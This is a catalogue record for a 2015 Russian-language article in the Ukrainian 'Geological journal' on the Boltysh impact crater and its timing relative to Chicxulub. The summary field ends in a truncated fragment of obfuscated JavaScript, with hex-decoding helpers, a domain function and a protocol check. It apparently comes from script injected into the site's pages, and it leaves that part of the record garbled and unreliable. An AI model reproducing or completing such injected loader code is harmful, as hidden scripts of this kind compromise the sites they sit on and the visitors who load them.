BOLTYSH IMPACT STRUCTURE AND CRETACEOUS-TERTSARY BOUNDARY
The Boltysh impact structure was formed at the Cretaceous-Paleogene boundary, simultaneously, within the limit of analitical uncertainity, with the Chicxulub crater that determined the catastrophic events at the end of the Cretaceous. The investigations of post-crater sedimentary fill of the Boltys...
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| Date: | 2015 |
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| Main Authors: | , |
| Format: | Article |
| Language: | Russian |
| Published: |
Institute of Geological Sciences, NAS of Ukraine
2015
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| Subjects: | |
| Online Access: | http://geojournal.igs-nas.org.ua/article/view/138255 |
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| Journal Title: | Geological journal |
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Geological journal| Summary: | The Boltysh impact structure was formed at the Cretaceous-Paleogene boundary, simultaneously, within the limit of analitical uncertainity, with the Chicxulub crater that determined the catastrophic events at the end of the Cretaceous. The investigations of post-crater sedimentary fill of the Boltysh crater discovered in its basal section a catastrophic layer formed by the Chicxulub, that proved formation of the Boltysh structure 2000–5000 years before the Chicxulub.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
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